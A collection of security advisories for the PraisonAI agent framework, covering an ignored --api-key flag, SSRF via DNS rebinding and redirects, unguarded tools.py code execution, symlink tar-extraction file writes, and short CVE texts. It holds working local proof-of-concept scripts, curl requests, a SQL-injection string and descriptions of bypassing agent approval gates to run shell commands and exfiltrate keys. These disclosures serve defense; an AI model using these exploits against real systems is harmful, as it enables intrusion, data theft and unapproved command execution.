Summary

praisonai serve agents and praisonai serve unified both accept --api-key for authentication. The flag is parsed but never wired into the FastAPI app — no middleware, no header check, nothing. The server runs wide open regardless of what key you set. Tested on 4.6.50 from PyPI.

Affected versions

- Confirmed on 4.6.50 (current PyPI, 2026-06-02) - Likely since 4.6.34 when the serve subsystem shipped - File: src/praisonai/praisonai/cli/features/serve.py

What happens

The CLI defines --api-key in the arg spec (serve.py:199) and passes the parsed value into createagentsapp(config). But that function never reads config["apikey"]. The FastAPI app gets created with no auth at all. Same thing in createunifiedapp.

The help text says --api-key <key> API key for authentication, so this isn't ambiguous — it's supposed to protect the server. It just doesn't. $ grep -n "apikey" src/praisonai/praisonai/cli/features/serve.py 107: --api-key <key> API key for authentication 199: "apikey": {"default": None}, 847: "apikey": {"default": None},

Endpoints exposed without auth

- POST /agents — runs the full agent workflow - POST /agents/{name} — invokes a specific agent - POST /api/v1/agents/{id}/invoke — n8n integration endpoint - GET / — lists all endpoints - GET /praisonai/discovery — service discovery

Not the same as CVE-2026-44338

CVE-2026-44338 was about the legacy deploy/api.py hardcoding AUTHENABLED = False. That was fixed in 4.6.34. This bug is in the newer serve subsystem that shipped in the same release — the --api-key flag exists but was never connected to anything.

PoC

Setup

bash python3 -m venv /tmp/poc-venv /tmp/poc-venv/bin/pip install praisonai==4.6.50 fastapi starlette httpx pyyaml

Script

python import sys, types, tempfile, os

Stub heavy deps so we only test the serve auth logic for m in ["praisonai.endpoints.discovery", "praisonai.endpoints.server", "praisonai.api", "praisonai.api.agentinvoke", "praisonai.agentsgenerator", "praisonai.inc"]: sys.modules[m] = types.ModuleType(m)

disc = sys.modules["praisonai.endpoints.discovery"] class Fake: def init(self, k): pass def addprovider(self, a, k): pass def addendpoint(self, a, k): pass def todict(self): return {} disc.creatediscoverydocument = lambda k: Fake() disc.EndpointInfo = Fake disc.ProviderInfo = Fake sys.modules["praisonai.endpoints.server"].adddiscoveryroutes = lambda a,b: None sys.modules["praisonai.api.agentinvoke"].FASTAPIAVAILABLE = False

class FakeGen: def init(self, k): pass def generatecrewandkickoff(self): return {"executed": True, "result": "workflow ran"} sys.modules["praisonai.agentsgenerator"].AgentsGenerator = FakeGen

class FakeLLM: def todict(self): return {} sys.modules["praisonai.inc"].LLMConfig = FakeLLM

f = tempfile.NamedTemporaryFile(mode="w", suffix=".yaml", delete=False) f.write("name: T\nagents:\n a:\n name: A\n role: R\n goal: G\n backstory: B\n") f.flush()

from praisonai.cli.features.serve import ServeHandler app = ServeHandler().createagentsapp({ "file": f.name, "host": "0.0.0.0", "port": 8000, "path": "/agents", "reload": False, "apikey": "supersecret", # <-- should protect the server })

from starlette.testclient import TestClient c = TestClient(app)

r1 = c.post("/agents", json={"query": "run"}) r2 = c.post("/agents", json={"query": "run"}, headers={"Authorization": "Bearer TOTALLYWRONG"})

print(f"No auth header → {r1.statuscode}") # 200 print(f"Wrong key → {r2.statuscode}") # 200

os.unlink(f.name)

Output

No auth header → 200 Wrong key → 200

Both succeed. The key is ignored.

Live server test

bash start server with --api-key praisonai serve agents --api-key supersecret --host 0.0.0.0 --port 9999

hit it without any auth curl -s -X POST http://localhost:9999/agents \ -H "Content-Type: application/json" \ -d '{"query":"run all agents"}' → 200, workflow executes

Impact

Anyone who can reach the server can trigger agent workflows without credentials. The operator set --api-key and got no error, so they think it's protected.

What an attacker gets depends on what the agents.yaml workflow can do — LLM calls, tool use, file access, code execution, web requests. At minimum it's unauthenticated API quota burn.

Fix

createagentsapp() and createunifiedapp() need to actually read config["apikey"] and add a FastAPI dependency that checks the Authorization: Bearer header. When binding to a non-loopback address without --api-key, the server should warn or refuse to start.

References

- CVE-2026-44338 / GHSA-6rmh-7xcm-cpxj (prior auth bypass, different component)

Summary The webhookurl field in the Jobs API silently passes validation when DNS resolution fails (socket.gaierror), enabling DNS rebinding attacks. An attacker's domain can initially resolve to a public IP (passing validation) then switch to an internal IP before the server makes the HTTP request.

Details The validator catches socket.gaierror and silently allows the URL:

python src/praisonai/praisonai/jobs/models.py:55 try: ip = socket.gethostbyname(hostname) ipobj = ipaddress.ipaddress(ip) if ipobj.isprivate or ipobj.isloopback: raise ValueError("private address") except socket.gaierror: pass # BUG: DNS failure silently ignored → SSRF bypass

The HTTP call is made later with no re-validation:

python src/praisonai/praisonai/jobs/executor.py:402 async with httpx.AsyncClient() as client: await client.post(job.webhookurl, ...) # no second IP check

Proof of Concept

DNS rebinding flow: 1. Register attacker.com with TTL=1s → resolves to 1.2.3.4 (public IP) 2. Submit job: webhookurl=http://attacker.com/callback 3. Validation passes (public IP) 4. Switch DNS: attacker.com → 127.0.0.1 5. Job completes → server POSTs to 127.0.0.1 → internal SSRF

Unresolvable domain bypass (no DNS rebinding required):

bash curl -X POST http://:8005/api/v1/runs \ -d '{"prompt":"run","webhookurl":"http://unresolvable.internal/cb","agentyaml":"..."}' Validation: gaierror → pass → URL accepted

Impact SSRF to internal HTTP services: admin panels, databases, and cloud metadata APIs (e.g., http://169.254.169.254/). Exploitable without authentication.

PraisonAI is a multi-agent teams system. In versions prior to 1.6.58, the webcrawl tool performs its SSRF check only on the initially supplied URL, allowing the protection to be bypassed so the tool connects to attacker-chosen internal destinations. The check resolves the hostname once with socket.gethostbyname and rejects private/loopback/link-local results, but then passes the URL to a fetcher using httpx.Client(followredirects=True) (or urllib.request.urlopen when httpx is absent, which also follows redirects) that re-resolves the hostname at connect time with no further validation. This validate-here/fetch-there gap is exploitable through both HTTP redirects and DNS rebinding. If an attacker can influence URLs passed to webcrawl(), directly or through an agent/tool workflow, they can cause the PraisonAI host to fetch loopback, private-network, or cloud metadata endpoints reachable from that host, with the response body returned in the webcrawl() result. This issue has been fixed in version 1.6.58.

Summary

praisonaiagents.tools.webcrawltools.webcrawl() validates the initial URL and blocks direct loopback/private destinations by default, but the default httpx fallback still uses httpx.Client(followredirects=True) and does not revalidate redirect targets.

An attacker-controlled public URL can pass the initial host check, redirect to loopback/private/cloud metadata infrastructure, and have the redirected response body returned by webcrawl().

This appears to be an incomplete fix / patch bypass for the published webcrawl SSRF class (GHSA-qq9r-63f6-v542 / CVE-2026-40160, and GHSA-8f4v-xfm9-3244).

Affected Component

Package:

text praisonaiagents

File:

text src/praisonai-agents/praisonaiagents/tools/webcrawltools.py

Functions:

text webcrawl() crawlwithhttpx()

Affected Versions

Validated affected:

- praisonaiagents 1.5.128 via repository tag v4.5.128; - praisonaiagents 1.6.40 via repository tag v4.6.40; - praisonaiagents 1.6.56 via repository tag v4.6.56; - current origin/main commit 095653d78a01cc6c80ff5b2dd20a8e5619686ddc.

Suggested affected range for maintainer confirmation:

text = 1.5.128, <= 1.6.56

No patched version is known to me at submission time.

Root Cause

Current webcrawl() validates only the initially supplied URL:

- requires http or https; - resolves the initial hostname with socket.gethostbyname(); - rejects loopback/private/link-local/multicast/unspecified addresses unless ALLOWLOCALCRAWL=true.

The default fetch sink then follows redirects:

python with httpx.Client(followredirects=True, timeout=30.0) as client: response = client.get(url)

There is no validation of intermediate or final redirect destinations before httpx fetches them. The URL that passes the guard is therefore not necessarily the URL ultimately requested by the server.

Local Reproduction

The PoV is local-only. It starts a loopback redirector and a loopback internal service. It monkeypatches DNS in-process so attacker.test appears public to the initial guard while the actual test request routes to the local redirector. This avoids contacting any third-party infrastructure while demonstrating the same root cause.

Run from a checkout of the repository:

fish env PYTHONPATH=src/praisonai-agents uv run --with httpx pocwebcrawlredirectssrf.py

Observed output:

text DIRECTCONTROL: {'error': 'No valid or safe URLs provided. Local and non-http(s) URLs are blocked for security.'} REDIRECTRESULT: {'url': 'http://attacker.test:<port>/go', 'content': 'INTERNAL-SECRET-FROM-LOOPBACK', 'title': '', 'provider': 'httpx'} REDIRECTSERVERHIT: True INTERNALSERVERHIT: True PRAI-CAND-001 CONFIRMED: webcrawl follows a redirect to loopback

The direct control proves direct loopback is blocked by the intended SSRF guard. The redirect case proves the same blocked destination class is reachable after the initial safe-looking URL redirects.

With the same setup but with redirect following disabled, the redirector was hit, but the internal loopback service was not hit:

text REDIRECTHIT: True INTERNALHIT: False

Impact

If an attacker can influence URLs passed to webcrawl(), directly or through an agent/tool workflow, they can cause the PraisonAI host to fetch loopback, private-network, or cloud metadata endpoints reachable from that host. The response body is returned in the webcrawl() result.

Practical impact includes:

- reading loopback-only HTTP services; - probing private network services; - reading cloud metadata endpoints where reachable and not otherwise protected.

This report does not claim RCE, authentication bypass, or live cloud credential theft without a deployment-specific metadata test.

Severity

This mirrors the CVSS v4.0 shape already used for the prior webcrawl SSRF class while accounting for prompt/tool invocation as the attack prerequisite and user interaction. A CVSS v3.1 scoring may reasonably be lower if modeled strictly around user interaction, but the root issue is a server-side network boundary bypass that returns internal response content.

Suggested Fix

- Set followredirects=False in crawlwithhttpx(), or handle redirects manually and validate each Location target before following it. - Centralize the URL validation used by server-side fetch tools. - Validate every resolved address using socket.getaddrinfo(), not only the first gethostbyname() result. - Reject loopback, private, link-local, reserved, multicast, unspecified, and cloud metadata destinations. - Add regression tests for direct loopback, public-to-loopback redirect, and allowed public-to-public redirects if redirect support remains intended.

PoV

python #!/usr/bin/env python3 """Local PoV for PraisonAI webcrawl redirect-target SSRF bypass.

This PoV uses only loopback servers. It monkeypatches DNS in-process so the initial attacker host looks public to PraisonAI's pre-request guard, while the HTTP request is routed to a local redirect server. The redirect target is a loopback-only internal service. The vulnerable behavior is that webcrawl() validates the initial URL but follows the redirect to loopback without revalidating the Location target. """

from future import annotations

import http.server import os import socket import socketserver import threading from typing import Any

from praisonaiagents.tools.webcrawltools import webcrawl

class InternalHandler(http.server.BaseHTTPRequestHandler): body = b"INTERNAL-SECRET-FROM-LOOPBACK"

def doGET(self) -> None: # noqa: N802 self.server.hit = True # type: ignore[attr-defined] self.sendresponse(200) self.sendheader("Content-Type", "text/plain") self.sendheader("Content-Length", str(len(self.body))) self.endheaders() self.wfile.write(self.body)

def logmessage(self, args: Any) -> None: return

class RedirectHandler(http.server.BaseHTTPRequestHandler): target = ""

def doGET(self) -> None: # noqa: N802 self.server.hit = True # type: ignore[attr-defined] self.sendresponse(302) self.sendheader("Location", self.target) self.endheaders()

def logmessage(self, args: Any) -> None: return

def main() -> int: os.environ.pop("ALLOWLOCALCRAWL", None)

internal = socketserver.TCPServer(("127.0.0.1", 0), InternalHandler) internal.hit = False # type: ignore[attr-defined] internalport = internal.serveraddress[1]

RedirectHandler.target = f"http://127.0.0.1:{internalport}/secret" redirect = socketserver.TCPServer(("127.0.0.1", 0), RedirectHandler) redirect.hit = False # type: ignore[attr-defined] redirectport = redirect.serveraddress[1]

threading.Thread(target=internal.serveforever, daemon=True).start() threading.Thread(target=redirect.serveforever, daemon=True).start()

originalgethostbyname = socket.gethostbyname originalgetaddrinfo = socket.getaddrinfo

def fakegethostbyname(host: str) -> str: if host == "attacker.test": return "93.184.216.34" return originalgethostbyname(host)

def fakegetaddrinfo(host: str, port: int, args: Any, kwargs: Any): if host == "attacker.test": return originalgetaddrinfo("127.0.0.1", port, args, kwargs) return originalgetaddrinfo(host, port, args, kwargs)

socket.gethostbyname = fakegethostbyname socket.getaddrinfo = fakegetaddrinfo try: directcontrol = webcrawl( f"http://127.0.0.1:{internalport}/secret", provider="httpx", ) redirectresult = webcrawl( f"http://attacker.test:{redirectport}/go", provider="httpx", ) finally: socket.gethostbyname = originalgethostbyname socket.getaddrinfo = originalgetaddrinfo redirect.shutdown() internal.shutdown() redirect.serverclose() internal.serverclose()

print("DIRECTCONTROL:", directcontrol) print("REDIRECTRESULT:", redirectresult) print("REDIRECTSERVERHIT:", bool(redirect.hit)) # type: ignore[attr-defined] print("INTERNALSERVERHIT:", bool(internal.hit)) # type: ignore[attr-defined]

if not isinstance(directcontrol, dict) or "No valid or safe URLs" not in str(directcontrol): raise SystemExit("control failed: direct loopback was not blocked") if not isinstance(redirectresult, dict): raise SystemExit("bypass failed: unexpected result type") if "INTERNAL-SECRET-FROM-LOOPBACK" not in str(redirectresult.get("content", "")): raise SystemExit("bypass failed: redirect target content was not returned") if not bool(redirect.hit) or not bool(internal.hit): # type: ignore[attr-defined] raise SystemExit("bypass failed: expected local servers were not hit")

print("PRAI-CAND-001 CONFIRMED: webcrawl follows a redirect to loopback") return 0

if name == "main": raise SystemExit(main())

Summary

PraisonAI's workflow include implementation implicitly imports and executes an included recipe's tools.py file even when the documented tools.py autoload opt-in is unset.

This bypasses the hardening added for the prior automatic tools.py RCE advisory family. A workflow that includes an untrusted local recipe can execute arbitrary Python module-level code before any model call or child workflow execution.

The same sink is reachable through the higher-level praisonai.recipe.run() recipe API when a steps-based recipe workflow includes a local child recipe. The supplementary PoV demonstrates this route without starting a network service or relying on external APIs.

This is distinct from the previously published toolresolver.py, api/call.py, templates/tooloverride.py, and agentsgenerator.py variants. The affected callsite is the workflow include implementation in praisonaiagents, reached through the documented/covered Include workflow composition feature.

Affected Components

- Package: praisonaiagents - File: praisonaiagents/workflows/workflows.py - Sink: Workflow.executeinclude() - Current affected callsite:

python toolspy = recipepath / "tools.py" if toolspy.exists(): spec = importlib.util.specfromfilelocation("recipetools", toolspy) recipemodule = importlib.util.modulefromspec(spec) spec.loader.execmodule(recipemodule)

The current head also contains a similar unguarded workflow-local tools.py import in resolvepydanticclass(). That adjacent sink is not needed for the primary impact claim because the include path has a cleaner public workflow execution path and local PoV.

Security Boundary

PraisonAI documents secure defaults for implicit tools.py autoload:

- PRAISONAIALLOWTEMPLATETOOLS controls implicit template/CWD tools.py autoload and is disabled by default. - PRAISONAIALLOWLOCALTOOLS controls automatic loading of local tools.py files and requires the value true. - Explicit override files/directories are the recommended way to load custom tools without the implicit autoload opt-in. - Existing regression tests for GHSA-xcmw-grxf-wjhj assert that template/CWD tools.py must not execute by default.

Workflow.executeinclude() does not check PRAISONAIALLOWTEMPLATETOOLS, does not check PRAISONAIALLOWLOCALTOOLS, and does not route through the shared safe loader before executing the included recipe's tools.py.

The report is not claiming that workflow includes themselves are unintended. Local tests in the repository cover Include, include(), YAML include parsing, and include-in-loop behavior. The security issue is specifically that the include implementation executes the included recipe's tools.py unconditionally instead of respecting the same implicit-tool-loading gates used elsewhere.

The report also is not claiming that recipe tools.py files are inherently unsafe or unsupported. Official recipe documentation describes tools.py as the place for custom functions and dynamic variables. The issue is the implicit execution mode: official tool-override documentation says implicit tools.py autoload from CWD or template directories is disabled by default, with explicit override files/directories recommended for new projects.

Impact

An attacker who can cause a victim process to run a workflow that includes an attacker-controlled local recipe directory can execute arbitrary Python code as the PraisonAI process user.

The payload runs during include setup, before child workflow parsing or any LLM/model call. The PoV only writes a local marker file.

Reproduction

Run the attached local-only PoV:

bash python3 pov.py

Expected vulnerable output:

text VULNERABLE: included recipe tools.py executed with PRAISONAIALLOWLOCALTOOLS and PRAISONAIALLOWTEMPLATETOOLS unset marker=... markercontent=executed

The PoV:

1. Unsets PRAISONAIALLOWLOCALTOOLS and PRAISONAIALLOWTEMPLATETOOLS. 2. Creates a temporary childrecipe/tools.py with a marker-write payload. 3. Creates a minimal childrecipe/workflow.yaml. 4. Runs Workflow(steps=[include("childrecipe")]).run(...). 5. Confirms the marker file was written before any model-backed workflow step is needed.

Supplementary higher-level API check:

bash python3 povreciperun.py

Expected vulnerable output:

text VULNERABLE: praisonai.recipe.run() reached workflow include tools.py execution with PRAISONAIALLOWLOCALTOOLS and PRAISONAIALLOWTEMPLATETOOLS unset recipestatus=success recipeok=True marker=... markercontent=executed

Validation

Tested vulnerable:

- Current head: bcb6957dac1bc8949866522948a9f61d7e4bd4c1 - Latest release tag: v4.6.56 (praisonai==4.6.56, praisonaiagents==1.6.56) - Older affected tag: v3.9.26 (praisonai==3.9.26, praisonaiagents==0.12.12)

Negative/control observations:

- v3.9.24 does not expose the same include helper/API used by this PoV. - The hardened praisonai.templates.tooloverride.createtoolregistrywithoverrides(..., templatedir=...) path does not execute tools.py when PRAISONAIALLOWTEMPLATETOOLS is unset. - Existing regression test src/praisonai/tests/unit/templates/testtooloverrideautoloadgate.py states that implicit recipe/template tools.py autoload should be gated behind PRAISONAIALLOWTEMPLATETOOLS. - Include is a first-class workflow feature, not an accidental private method: repository tests cover include() imports, YAML include parsing, direct Workflow.executeinclude presence, and include steps inside loops. - praisonai.recipe.run() also reaches the sink through steps-based recipe workflow execution. This strengthens API reachability but does not change the base severity claim to Critical because a clean unauthenticated remote route for this exact include sink was not validated.

Root Cause

The include implementation reintroduced a direct importlib.util.specfromfilelocation() plus spec.loader.execmodule() path outside the centralized safe loader and template override gate. Prior fixes hardened several tools.py autoload chokepoints, but this workflow include sibling callsite still executes module-level code unconditionally.

Suggested Fix

Route included-recipe tool loading through the same security policy used by the template tool override system.

Conservative options:

1. Do not implicitly load included recipe tools.py by default. 2. Only load it when PRAISONAIALLOWTEMPLATETOOLS is explicitly truthy. 3. Prefer explicit toolssources, overridefiles, or a caller-supplied registry for custom tools. 4. Add regression coverage for Workflow(steps=[include("...")]) proving included recipe tools.py does not execute with the opt-in unset. 5. Consider using AST-based discovery for names where possible, and delay execution until an explicitly configured tool is invoked under the appropriate policy.

If local workflow includes are intended to use PRAISONAIALLOWLOCALTOOLS instead, the same principle applies: the include sink should call a shared helper and should not perform raw execmodule() directly.

Severity

Rationale: exploitation requires causing a victim/local process to process an attacker-controlled workflow/include or recipe directory, but no privileges are required once the workflow is run, attack complexity is low, and successful exploitation gives arbitrary Python code execution in the PraisonAI process.

Critical/network severity is not claimed for the base report because a clean unauthenticated remote path for this exact include sink on current head was not validated.

Appendix A - pov.py

python #!/usr/bin/env python3 """Local PoV for PraisonAI workflow include tools.py autoload.

This PoV uses only local files and the public workflow API. It verifies whether a workflow-local include executes the included recipe's tools.py even when the PRAISONAIALLOWLOCALTOOLS opt-in is unset. """

from future import annotations

import os import shutil import sys import tempfile from pathlib import Path

MARKERNAME = "praiworkflowincludetoolsautoloadmarker.txt"

def finddefaultrepo() -> Path: for parent in Path(file).resolve().parents: candidate = parent / "artifacts" / "repos" / "praisonai-current" if candidate.exists(): return candidate raise RuntimeError("Could not locate artifacts/repos/praisonai-current")

def main() -> int: repo = Path(os.environ.get("PRAISONAIPOVREPO", str(finddefaultrepo()))).resolve() sys.path.insert(0, str(repo / "src" / "praisonai-agents")) sys.path.insert(0, str(repo / "src" / "praisonai"))

os.environ.pop("PRAISONAIALLOWLOCALTOOLS", None) os.environ.pop("PRAISONAIALLOWTEMPLATETOOLS", None)

workdir = Path(tempfile.mkdtemp(prefix="prai-include-autoload-")) oldcwd = Path.cwd() try: recipe = workdir / "childrecipe" recipe.mkdir() marker = workdir / MARKERNAME

(recipe / "tools.py").writetext( "from pathlib import Path\n" f"Path({str(marker)!r}).writetext('executed')\n" "def benigntool():\n" " return 'ok'\n", encoding="utf-8", ) (recipe / "workflow.yaml").writetext( "name: child\n" "steps: []\n", encoding="utf-8", )

os.chdir(workdir)

from praisonaiagents.workflows.workflows import Workflow, include

workflow = Workflow(steps=[include("childrecipe")]) workflow.run(input="", llm="dummy/local", stream=False)

if marker.exists(): print( "VULNERABLE: included recipe tools.py executed with " "PRAISONAIALLOWLOCALTOOLS and PRAISONAIALLOWTEMPLATETOOLS unset" ) print(f"marker={marker}") print(f"markercontent={marker.readtext(encoding='utf-8')}") return 0

print("NOT VULNERABLE: included recipe tools.py did not execute") return 1 finally: os.chdir(oldcwd) shutil.rmtree(workdir, ignoreerrors=True)

if name == "main": raise SystemExit(main())

Appendix B - povreciperun.py

python #!/usr/bin/env python3 """Supplementary local PoV through praisonai.recipe.run().

This exercises the higher-level recipe API. It does not start a network server or rely on any external service. The payload writes a local marker file only. """

from future import annotations

import os import shutil import sys import tempfile from pathlib import Path

MARKERNAME = "praireciperunincludetoolsautoloadmarker.txt"

def finddefaultrepo() -> Path: for parent in Path(file).resolve().parents: candidate = parent / "artifacts" / "repos" / "praisonai-current" if candidate.exists(): return candidate raise RuntimeError("Could not locate artifacts/repos/praisonai-current")

def main() -> int: repo = Path(os.environ.get("PRAISONAIPOVREPO", str(finddefaultrepo()))).resolve() sys.path.insert(0, str(repo / "src" / "praisonai-agents")) sys.path.insert(0, str(repo / "src" / "praisonai"))

os.environ.pop("PRAISONAIALLOWLOCALTOOLS", None) os.environ.pop("PRAISONAIALLOWTEMPLATETOOLS", None)

workdir = Path(tempfile.mkdtemp(prefix="prai-recipe-include-autoload-")) oldcwd = Path.cwd() try: parentrecipe = workdir / "parentrecipe" childrecipe = workdir / "childrecipe" parentrecipe.mkdir() childrecipe.mkdir() marker = workdir / MARKERNAME

(parentrecipe / "TEMPLATE.yaml").writetext( "name: parentrecipe\n" "version: 1.0.0\n" "workflow: workflow.yaml\n", encoding="utf-8", ) (parentrecipe / "workflow.yaml").writetext( "name: parent\n" "steps:\n" " - include: childrecipe\n", encoding="utf-8", ) (childrecipe / "workflow.yaml").writetext( "name: child\n" "steps: []\n", encoding="utf-8", ) (childrecipe / "tools.py").writetext( "from pathlib import Path\n" f"Path({str(marker)!r}).writetext('executed')\n" "def benigntool():\n" " return 'ok'\n", encoding="utf-8", )

os.chdir(workdir)

from praisonai import recipe

result = recipe.run(str(parentrecipe), input={}, options={"force": True})

if marker.exists(): print( "VULNERABLE: praisonai.recipe.run() reached workflow include " "tools.py execution with PRAISONAIALLOWLOCALTOOLS and " "PRAISONAIALLOWTEMPLATETOOLS unset" ) print(f"recipestatus={result.status}") print(f"recipeok={result.ok}") print(f"marker={marker}") print(f"markercontent={marker.readtext(encoding='utf-8')}") return 0

print("NOT VULNERABLE: recipe.run() did not execute included recipe tools.py") print(f"recipestatus={result.status}") print(f"recipeerror={result.error}") return 1 finally: os.chdir(oldcwd) shutil.rmtree(workdir, ignoreerrors=True)

if name == "main": raise SystemExit(main())

PraisonAI before 4.6.78 contains an authentication bypass in the Call API agent invocation endpoints (src/praisonai/praisonai/api/agentinvoke.py) when PRAISONAICALLAUTH=disabled is configured. The safeguard intended to restrict the disabled-auth opt-out to localhost binding derives the bind host from request.url.hostname, which is taken from the client-controlled HTTP Host header. A remote, unauthenticated attacker who can reach the service over the network can send a spoofed 'Host: 127.0.0.1' header to bypass the localhost-only restriction and list (GET /api/v1/agents) and invoke (POST /api/v1/agents/{agentid}/invoke) registered agents without authentication.

PraisonAI before 1.6.78 contains a server-side request forgery vulnerability in the webcrawl tool that validates hostnames at check time but re-resolves them at connection time without IP pinning. Attackers can use DNS rebinding to bypass SSRF protection and retrieve internal HTTP response bodies from private or loopback services.

PraisonAI before 4.6.78 exposes the MCP HTTP-stream transport without authentication by default: the CLI --api-key option defaults to None, and the server only enforces Authorization/Bearer checks when an API key is configured. When an operator runs 'praisonai mcp serve --transport http-stream' without an API key, an unauthenticated client (no Authorization header, and no Origin header, which is also permitted) can initialize a session, enumerate the available tools (tools/list), and invoke tools (tools/call). Additionally, the dispatcher forwards tool-call arguments to handlers without validating them against the advertised inputSchema. The server binds to 127.0.0.1 by default, so remote exploitation requires the operator to bind to a network-accessible address (e.g., --host 0.0.0.0).

PraisonAI before 1.7.3 contains an insecure default configuration that binds to all interfaces with no API key requirement and wildcard CORS. Unauthenticated attackers can call GET /api/agents to read agent instructions and system prompts, or POST /api/chat to invoke agents without authentication.

PraisonAI before 4.6.78 fails to validate the caller-controlled dimension argument in the PGVector and Cassandra knowledge-store createcollection() backends. Although schema, keyspace, and collection-name identifiers are validated, the dimension value (declared as int but not enforced at runtime) is interpolated directly into the vector column of the generated CREATE TABLE DDL. A caller able to influence collection-creation dimensions can pass a string such as '3); DROP TABLE tenantsecrets; --' to inject SQL/CQL tokens into the statement executed by the database driver.

PraisonAI versions before 4.6.78 contain a code injection vulnerability in deploy/api.py where the agentsfile parameter is directly interpolated into an f-string without sanitization. Attackers can inject arbitrary Python code that executes when the generated server code runs via subprocess.Popen().

PraisonAI versions before 4.6.78 contain an allowlist bypass vulnerability in shell command execution that allows attackers to execute restricted commands via find's built-in -exec, -execdir, and -delete actions. Attackers can craft find commands with these built-in actions to read blocked files, delete files, or execute non-allowlisted binaries without triggering shell metacharacter filters.

PraisonAI before 4.6.78 contains a path traversal vulnerability in ContextGatherer that fails to validate include paths in .praisoncontext and .praisoninclude files. Attackers can supply absolute paths or parent directory traversal sequences to read arbitrary files outside the workspace and include their contents in the generated context bundle.

PraisonAI before 4.6.78 contains an unauthenticated server-side request forgery vulnerability in the Jobs API /api/v1/runs endpoint. The webhookurl parameter is validated at request time but re-resolved at connection time, allowing attackers to use DNS rebinding to reach internal services with a blind SSRF attack.

PraisonAI before 0.1.7 fails to validate that projectid in issue create and update request bodies belongs to the URL workspace. An attacker can create issues referencing projects from other workspaces, causing cross-tenant data pollution in project statistics aggregation without workspace constraints.

PraisonAI before 1.5.128 contains a cross-origin agent execution vulnerability in the AGUI endpoint that allows remote attackers to trigger arbitrary agent execution. The POST /agui endpoint lacks authentication and hardcodes Access-Control-Allow-Origin: headers, combined with Starlette's Content-Type-agnostic JSON parsing, enabling attackers to bypass CORS preflight checks via simple requests and exfiltrate sensitive agent responses including tool execution results and environment data.

PraisonAI before 1.5.115 contains an information disclosure vulnerability in the MultiAgentLedger component that allows attackers to access sensitive data by registering agents with duplicate IDs. Attackers can exploit the lack of agent ID uniqueness enforcement to share ledger instances and expose system prompts and conversation history between agents.

PraisonAI before 4.5.128 contains an arbitrary shell command execution vulnerability where the UI modules hardcode approvalmode to auto, overriding administrator configuration from PRAISONAPPROVALMODE environment variable. Authenticated attackers can instruct the LLM agent to execute arbitrary shell commands via subprocess.run with shell=True, bypassing the manual approval gate and insufficient command sanitization blocklists.

PraisonAI before 1.5.128 caches tool approval decisions by tool name only, not by invocation arguments, allowing subsequent executecommand calls to bypass approval prompts. Attackers can exploit this by obtaining initial approval for a benign command, then silently exfiltrate API keys and credentials via subsequent shell commands without user consent.

Summary The safeextractall helper that all recipe pull, recipe publish, and recipe unpack flows route through validates each archive member's name for absolute paths, .. segments, and resolved-path escape — but does not validate member.linkname, does not reject symlink/hardlink members, and calls tar.extractall(destdir) without filter="data". A bundle that contains a symlink with a name inside destdir but a linkname pointing outside it, followed by a regular file whose path traverses through the just-created symlink, escapes destdir and lets the attacker write arbitrary content to an attacker-chosen location on the victim's filesystem.

Affected paths

Every code path that calls safeextractall is exposed:

| Caller | File:line | |---|---| | praisonai recipe unpack | src/praisonai/praisonai/cli/features/recipe.py:1175 (introduced as the fix for GHSA-99g3-w8gr-x37c) | | LocalRegistry.unpack (recipe pull) | src/praisonai/praisonai/recipe/registry.py:413 | | Registry archive validation (publish) | src/praisonai/praisonai/recipe/registry.py:808 |

Root cause

recipe/registry.py:131-178:

python def safeextractall(tar: tarfile.TarFile, destdir: Path) -> None: ... for member in tar.getmembers(): ... memberpath = Path(member.name) if memberpath.isabsolute(): raise RegistryError(...) if '..' in memberpath.parts: raise RegistryError(...) resolved = (destresolved / memberpath).resolve() if not str(resolved).startswith(str(destresolved) + os.sep) and resolved != destresolved: raise RegistryError(...) # All members validated — safe to extract tar.extractall(destdir)

Three gaps:

1. The loop checks only member.name. member.linkname (the symlink / hardlink target) is not inspected. 2. member.issym() and member.islnk() are not used to refuse link members at all. 3. tar.extractall(destdir) runs without filter="data". On Python ≤ 3.13 the default is fullytrusted (with a DeprecationWarning on 3.12+), which permits symlinks pointing outside destdir.

When the archive is extracted in member order, the symlink lands first, and any subsequent member whose path traverses through that symlink follows it to the attacker's chosen location.

Reproduction

Tested in a disposable container against praisonai==4.6.35 (pip install praisonai, no other modifications).

makebundle.py:

python import io, json, tarfile manifest = json.dumps({"name": "legit", "version": "1.0.0"}).encode() with tarfile.open("malicious.praison", "w:gz") as tar: info = tarfile.TarInfo("manifest.json"); info.size = len(manifest) tar.addfile(info, io.BytesIO(manifest))

sym = tarfile.TarInfo("legit/escape") sym.type = tarfile.SYMTYPE sym.linkname = "/tmp/PWNED" tar.addfile(sym)

payload = b"PWNED via symlink-extraction bypass of safeextractall\n" pf = tarfile.TarInfo("legit/escape/owned.txt"); pf.size = len(payload) tar.addfile(pf, io.BytesIO(payload))

directtest.py:

python import shutil, tarfile from pathlib import Path from praisonai.recipe.registry import safeextractall

DEST = Path("/work/recipesdirect") shutil.rmtree(DEST, ignoreerrors=True); DEST.mkdir(parents=True) Path("/tmp/PWNED").mkdir(parents=True, existok=True)

with tarfile.open("malicious.praison", "r:gz") as tar: safeextractall(tar, DEST)

assert Path("/tmp/PWNED/owned.txt").exists(), "did not escape" print("PWNED:", Path("/tmp/PWNED/owned.txt").readtext())

Run:

bash docker run --rm -v "$PWD:/work" -w /work python:3.11-slim sh -c ' pip install -q praisonai && python makebundle.py && python directtest.py '

Observed output:

safeextractall returned cleanly PWNED: PWNED via symlink-extraction bypass of safeextractall

/tmp/PWNED/owned.txt exists after the call returns, written outside the destination directory the helper was asked to extract into.

Impact

Arbitrary file write with attacker-controlled content to an attacker-chosen path, on every host that processes a malicious .praison bundle through any of the three callers above.

Realistic exploitation paths:

- A user runs praisonai recipe unpack ./<malicious>.praison after obtaining the bundle from a shared registry, a tutorial link, or direct messaging. - A user runs praisonai recipe pull <name> against a malicious or compromised registry. - A registry server processes an uploaded .praison bundle (the publish path is reachable over the network if the server is exposed. per GHSA-r9x3-wx45-2v7f and GHSA-2xgv-5cv2-47vv).

Where the agent process runs as a regular user, the attacker can overwrite shell config (.bashrc, .zshrc, .profile), SSH authorizedkeys, cron entries, or project files in adjacent directories. Where the process runs as root (registry-server deployments and some sudo-launched workflows), the attacker controls arbitrary system files.

This re-opens the recipe pull, recipe publish, and recipe unpack paths that GHSA-99g3-w8gr-x37c, GHSA-4rx4-4r3x-6534, GHSA-r9x3-wx45-2v7f, and GHSA-4ph2-f6pf-79wv were each intended to close.

Suggested remediation

Single-line fix at recipe/registry.py:178:

python tar.extractall(destdir, filter="data")

